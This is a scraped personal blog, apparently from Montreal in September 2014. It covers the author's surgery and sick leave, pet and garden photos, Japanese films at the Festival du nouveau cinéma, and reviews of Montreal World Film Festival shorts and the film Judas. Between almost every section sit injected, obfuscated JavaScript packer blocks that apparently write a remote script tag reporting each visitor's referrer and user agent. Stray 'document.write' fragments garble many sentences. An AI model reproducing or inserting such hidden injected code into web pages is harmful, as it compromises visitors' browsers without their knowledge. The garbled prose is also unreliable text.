L’image du chat-medi

Saya (2014-09-26)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbah|var|u0026u|referrer|sadis||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bynbh|var|u0026u|referrer|nsriz||js|php’.split(‘|’),0,{}))
<a href="
https://www.flickr.com/photos/clodjee/15189490819&quot; target="“new”" title="Saya by Clodjee Pelletier, document.write(“”); on Flickr”>Saya

A September fortnight in review

On the domestic front, document.write(“”); life was dominated by health problems. With the second week of September, I started feeling discomfort and then pain, but kept going to work because I finally was given some responsibilities and didn’t want to shirk from them. It was obviously a mistake. Thursday (Sept. 11th of all days!) I skipped work to go to the clinic but they didn’t do much to relieve the pain. The next day it had increased so much that I couldn’t bear it, so I decided to go to the emergency. I ended up spending a few days at the hospital, getting a surgery and having to take a three-week sick leave to recover.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syntf|var|u0026u|referrer|byfdi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frzhy|var|u0026u|referrer|nzerz||js|php’.split(‘|’),0,{}))

I thought it would be a great opportunity to catch up on my readings and writings, but (so far) I was rather wrong (I couldn’t write a single new book or movie comment, beside finishing two that were already in the works:
Judas and the FFM Japanese shorts). First, I felt quite tired (the anaesthetic and all the medications they pump into you can really mess up your system) and the various post-up care (like daily visits to the clinic) kept me rather busy. It’s rather disappointing but, hey!, health must come first.

Another disappointment was that the pain made me miss the ordering window for the new iPhone 6 so instead of getting it on launch day I had to wait for a few extra weeks. At first, I was told that I would get it only in early October, but it seems I might get it at the end of the week instead. Great! It will give me something to keep my mind busy (since I cannot really do work around the house, still have a little trouble sitting at the computer and seems to have difficulties concentrating). Just resting can be quite boring after a few weeks.

September has brought us unseasonably cold temperatures (around 10 to 16 ‘C) so there cannot be any doubt that the summer is at its end (well, technically yes, but still… early fall is usually warmer than that!). However, it is suppose to warm up a little soon. And my calendar reminds me that I still have 764 weeks before retirement…

In the news there was lots of talk about the latest Apple products, the Scottish independence referendum and the World trying to come up with a response to the Islamic State treats. I had plenty of time to read and gather links to many interesting news stories which I am sharing with you after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple: iOS8

Apple: iPhone 6

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Health, home & garden

Humour

iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

Festival du Nouveau Cinema 2014

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isnes|var|u0026u|referrer|sskfi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaaat|var|u0026u|referrer|rktzt||js|php’.split(‘|’),0,{}))

Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

  • Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

    “The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

  • Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

    “Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

  • Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

    “The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

    Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

  • The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

    “Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

  • Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

    “A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

  • The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

    “Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

[ Traduire ]

L’image du mer-fleurie

Un bourdon sur un Œillet d’Inde en début d’automne
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfrad|var|u0026u|referrer|zenzh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydfkb|var|u0026u|referrer|ndbaz||js|php’.split(‘|’),0,{}))
A
Bumblebee on a Tagetes in early fall
(Mon jardin / Home garden, document.write(“”); 2014-09-23)
Bumblebee

MWFF Japanese shorts

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeiea|var|u0026u|referrer|frsid||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdksz|var|u0026u|referrer|erttb||js|php’.split(‘|’),0,{}))

There was five japanese short films presented at the 2014 Montreal World Film Festival. I’ve seen most of them and here are a few thoughts about them.

Kemukujara

“Keblujara depicts the cycle of bullying. The weak beat the weaker and they, document.write(“”); in turn, beat those weaker than them. This chain is finally broken by the very weakest, who turns into a beast and proceeds to fulfill his destiny.” (Text from the Festival’s program)

“Fruit d’une première collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano, ce film d’animation dessiné et peint à la main raconte quatre courtes histoires issues d’un pays appelé le Keblujara.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the first part of the Keblujara series. It is the only Japanese shorts films that was in competition this year and the only one that I couldn’t manage to see. However, I heard very good comments about it. For more information I refer you to the excellent commentary written by Claude R. Blouin (in French).

Kemukujara: Japan/Australia, 2014, 13 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano. Presented at the Montreal World Film Festival on August 27th (CI at 9h00 & 19h00) and 28th (CI at 14h00).

For more information you can visit the following websites:

All he knows right

“In Keblujara, a mad artist lives in a box on his own back.” (Text from the Festival’s program)

“Animation dessinée et peinte à la main qui raconte une histoire d’un pays fictif appelé le Keblujara, fruit d’une collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the second part of the Keblujara series. I am not a big fan of stop motion animation, particularly this “artsy-fartsy” type which always have nebulous stories that can often be opened to interpretation. In this case, an artist is living in a box on his own back. It reminds me a little of weird Czech animations like The Fantastic Planet.

However, this film is technically quite interesting as it mixes techniques like stop motion and standard animation. I particularly liked the effect created by mixing real fire and stop motion animation which was well done and must have been quite difficult (as well as lengthy and complicated) to achieve.

I missed the screening of the longer first part of this series but I was told that this shorter segment was much better, easier to understand and more balanced. I had the opportunity to participate to a nice “chat” with the production team (I could follow some part of the conversation, but Mr. Blouin kindly translated most of it).

All He Knows Right: Japan/Australia, 2014, 5 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano.
For more information you can visit the following websites:

Suicide Volunteers

“The film is based on a true story of the flight school instructor who sacrificed his life in the suicide attacks at the end of World War II.” (Text from the Festival’s program)

“Le commandant Fujii, un instructeur de l’école de pilotage, a sacrifié sa vie dans des attentats-suicides à la fin de la Seconde Guerre Mondiale. Adaptation d’une histoire véridique.” (Extrait du programme)

A man who trains Japanese airplane pilots for the their suicide mission feels he is not doing his patriotic duty and requests to join his recruits on their mission. His superior deny his plea because his position as trainer is essential and he has a wife and children. He eloquently convinces the few students who question the validity of their mission as a waste. After his wife kills herself and the children, he is finally allowed to go on a mission.

It is a beautiful treatment for the most stupid part of Japanese history. The movie seems strangely neutral about this subject, as it neither condone or condemn the use of kamikaze. It’s a good period drama considering the limitation of a short film. I particularly like the effects giving the pictures an old WW2 look and feel.

Suicide volunteers (???? / Tokko Shigan): Japan, 2013, 25 min.; Dir./Scr./Ed.: Kenshow Onodera; Phot.: Shigeo Kobayashi; Mus.: Shiro Mashiba; Cast: Mitsuki Koga, Yuka Takeshima, Yuji Shikano, Yuji Kakizaki.
For more information you can visit the following websites:

The Free man

“Jay is an ex-con who tries to turn over a new leaf by working at a laundry store [where he] shares duties with Kit, a young woman with physical disability who is the boss’ niece.” (Text from the Festival’s program)

“Jay, un ex-détenu, tente de tourner une nouvelle page en travaillant dans une blanchisserie. Il y rencontre Kit, une jeune femme avec un handicap physique, nièce du propriétaire.” (Extrait du programme)

This is the only non-japanese movie in this bundle of shorts. It’s a gritty reality type of movie. An ex-convict work in a laundry shop and likes the handicapped niece of the owner. However, he soon realize that his boss is abusing her, but he hesitate doing anything because he really needs the job and fear going back to prison. At some point it is just too much for him… The dark photography emphasize well the oppressive feeling, but for the rest it’s an average violent chinese movie.

Unfortunately, the english subtitles were out of frame for the ENTIRE movie (only the chinese subtitles were visible) so I couldn’t tell the details of the story and only guess. The dumb-ass projectionist was probably sleeping on the job or, worse, simply didn’t care to reframe the screen (even if several people got up to notify the theatre’s staff). It’s not the first time that such problem occur at this theatre. They seem to take the cinephiles for cash cows and don’t give a damn about them. A real shame!

The Free man: Taiwan, 2014, 30 min.; Dir./Ed.: Sam Quah; Scr.: Yu-Li Chen; Phot.: Xin Hua Feng; Mus.: Wu Xin-Ying; Cast: Ming-Shuai Shi, Xing-Xing Rao.
For more information you can visit the following websites:

No return on perishables

“Short story about a miraculous phenomenon: that desiring another’s happiness can lead to happiness for oneself.” (Text from the Festival’s program)

“Une histoire courte qui illustre un phénomène miraculeux : désirez le bonheur de quelqu’un d’autre peut apporter le bonheur pour soi-même.” (Extrait du programme)

This is a nice and cute romantic comedy.

An insurance salesman meets lots of people for his job. He helps a man who wanted to commit suicide and convince him to live (at least a few more years). He also encounter a woman on a pilgrimage to help her daughter find a nice young man she could marry and bring back her missing husband. The salesman was going to the temple to pray that the flower-shop girl he secretly loves notices him and says yes to his proposal, but instead, after having met the woman, he wishes that she finds her husband and a nice son-in-law. A little later, he purchases flowers at the flower-shop and then comes back to gives them to the girl (she thinks he wants a refund, so she tells him “No return on perishables”!). But then he realizes that the mother of the flower-shop girl is the woman he met earlier on a pilgrimage and that her missing husband is back (and its the man he saved from killing himself)!

It’s a funny story but I felt that the overall quality of the production was a little below professional standard. Also they used a filter on the picture to saturate the colours (to boost them out a little). At first I thought it was due to a bad print or (worse) to a bad cinematography, but after reflection it was probably deliberate to add a dreamy feeling to this moralistic fantasy.

No return on perishables (???????????? / Koi ha kangaeruna, ai ha kanjiro / lit. “Do not think of love, must feel love”): Japan, 2013, 18 min.; Dir./Scr./Ed.: Takatsugu Naito; Phot.: Akiyuki Michikawa; Cast : Ryo Yoshiki, Hiromi Hakogi, Nozomi Tanaka.
For more information you can visit the following websites:

When the sun falls

“A wealthy elite guard of the shogunate is under house arrest for dereliction of duty for allowing an unauthorized person into Edo castle. His fate is unknowned.” (Text from the Festival’s program)

“En 1802, un garde d’élite bien nanti du shogunat est en résidence surveillée pour avoir manqué à son devoir en permettant l’accès au château d’Edo à une personne non autorisée. Son sort est pour l’instant incertain.” (Extrait du programme)

This is a beautiful Jidaigeki movie (period drama). A samurai who was careless in his duty must wait while his fate is decided. He is finally asked to commit seppuku.

This movie offers an interesting reflection on family, duty and how to live one’s life. It is very well made and probably equals any feature-length movie of the same style (samurai costume drama). It is quite powerful for a short movie.

When the sun falls (????? / Hi-wa-ochiru): Japan, 2014, 39 min.; Dir./Scr.: Yuji Kakizaki; Phot.: Yoshinobu Furukawa; Mus.: Shingo Nishimura; Cast : Masayuki Deai, Yuka Takeshima, Go Ibuki, Motoya Izumi, Ikuya Enokizono, Hyuma Ishida.
For more information you can visit the following websites:
This bundle of five Japanese & Taiwanese shorts was screened at the Montreal World Film Festival on August 26th, 2014 (Cinema Quartier Latin 13, 21h40 – there was a little more than a dozen people on the room, which was filled only at twenty or twenty-five percent of its capacity!) as part of the “Focus on World Cinema” (Regular) segment.

[ Traduire ]

L’image du chat-medi

Caramel (2014-09-05)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aietd|var|u0026u|referrer|sbnba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdrkr|var|u0026u|referrer|iiizh||js|php’.split(‘|’),0,{}))
<a href="
https://www.flickr.com/photos/clodjee/15113447159&quot; target="“new”" title="Caramel by Clodjee Pelletier, document.write(“”); on Flickr”>Untitled

L’image du mer-fleurie

<a href="https://www.flickr.com/photos/clodjee/15287001231&quot; target="“new”" title="Bouquet de fin d'été by Clodjee Pelletier, document.write(“”); on Flickr”>Bouquet de fin d'été
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbbth|var|u0026u|referrer|ssszz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztyb|var|u0026u|referrer|zybry||js|php’.split(‘|’),0,{}))
(2014-09-15)

Judas

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hezrz|var|u0026u|referrer|sdbee||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drdhf|var|u0026u|referrer|aeiyb||js|php’.split(‘|’),0,{}))

“Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, document.write(“”); and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Text from the Festival’s program)


This movie is based on Kurumi Tachibana’s two-part semi-autobiographical novel (Judas: Top and Judas: Bottom, bestsellers but not yet translated in english). It tells of the lightning ascension and downfall of the legendary club hostess in Tokyo’s Kabukich? district.

Erika is an insecure high school student in Saitama prefecture. Betrayed by her boyfriend, she finds herself pregnant, scarred and has consequently lost her job. A chance encounter with the manager of a hostess club from the entertainment district of Omiya will give her an opportunity to earn the money she needs for an abortion and provide her some sense of purpose. Within a year, under the professional name of Hitomi, she becomes the number one hostess of the club Elleseine. A hostess is basically a modern geisha: she flirts, provides drinks, attention, and entertainment to the salarymen that mostly constitute the clientele. It generally never involves sex. She manipulates men, creates a desire and fill their sense of affective emptiness with her glamorous act that indulge their greed, lust and illusion of power. Ultimately, she simply tricks them into spending money at the club and on lavish gifts for her.

However, she still doesn’t feel fulfilled. She has lost faith in true love and has therefore forsaken having any real relationships. She is troubled by her loneliness and the fear of being overcome again by weakness. But who could fill her own emptiness? She hides behind the armour of her make-up and all she can do is abandon herself to an insatiable ambition for more power and money. [Left: the real Kurumi Tachibana]

She changes her name to Kurumi and moves to Eden, a top-class hostess club in Kabukicho. The competition is fierce amongst the hostesses. However, despite being bullied by top-hostess Mimi, she reaches the number two position in just two months. But that’s still not enough. She succeeds climbing to the top by using betrayal, which earns her the nickname “Judas”. One day, Mimi is sick and shows some weakness by trusting into Kurumi’s hand her most important customer and lover: Saeki. She woos him and steel him from Mimi. She becomes the most desirable hostess but also the most ruthless: she abandoned Saeki when he’s bankrupted and drove one of her first and most faithful customers, Nawa (nicknamed “Beethoven”), to the brink of financial ruin.

One day, she meets a young finance tycoon named Ohno and she slowly falls for him. She does her best to resist the attraction and battle her own weakness. She moved to the ultra luxurious nightclub Dulcinea and, as she feel being at the top, her entire world comes down on her. When Ohno suddenly disappears, she discovers that he is a fraudster and loan-shark wanted by the police! Can she find a way to bounce back?

Evidently she has. After spending eight years in the extreme world of hostess clubs, Kurumi Tachibana is now a popular writer, actress and TV personality.

Judas is a movie about growth: the main character lacks confidence but go through many experiences that will change her and eventually make her better. Unfortunately, the movie is lacking something. It feels like the Readers’ Digest version of Tachibana’s biography as her life’s main events unfold before our eyes on fast-forward. We just can’t feel the emotions.

However, it is still a good, entertaining movie. It provides a women point of view on the world, which is rare in the Japanese movie industry. It is a movie about women, produced by a staff almost entirely made of women. It also give us an interesting insight into the world of hostess clubs and offers a fascinating portrayal of human emotional distress. Despite its flaws, it is an intriguing movie, worth watching. Unfortunately, the Dvd release is so far available only in Japanese (amazon.jp, Yesasia).
Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao; Distrib.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 30th, 2013 (Cinema Quartier Latin 9, 16h50–the theatre was less than a quarter full, with about 75 people) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Judas © 2011 movie “Judas” Production Committee. All Rights Reserved.

[ Traduire ]

Sick leave

The posts have been a little more sparse in the last few days because I was hospitalized due to sudden health issues (those can be a real pain in the ass sometimes). Because of the needed convalescence (and necessary post-op care) I will take a three-week sick leave from work. I will, document.write(“”); of course, rest but it will be an unexpected occasion the catch up on my viewings and readings (and hopefully writings).
